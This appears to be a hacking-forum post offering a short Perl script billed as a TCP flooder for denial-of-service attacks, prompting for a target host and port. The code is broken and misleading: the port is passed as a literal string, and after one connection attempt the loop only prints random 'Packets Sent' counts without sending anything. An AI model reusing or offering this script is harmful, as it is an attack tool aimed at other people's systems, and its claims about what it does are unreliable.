[FrostByte_mybb_import5923]

hey, i had a spear 15 mins so here is a very simple tcp flooder i made in perl.

Code:

use IO::Socket; system('cls'); print q{ #============================# #----< Frostbytes - DOS >----# #-----------[ PERL ]---------# #============================# }; print "[ADDRESS]: "; chomp ($host = <STDIN>); print "\n[PORT]: "; chomp ($port = <STDIN>); { $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>"$host", PeerPort=>'$port') || die"Failed to connect!\n"; print "Connected, commensing attack..."; } Packets: while(1){ $size = rand()* 8921873 * 9991988; print("Flooding: $host:$port~tcp Packets Sent:$size\n"); }

Dont expect anything special its not that amazing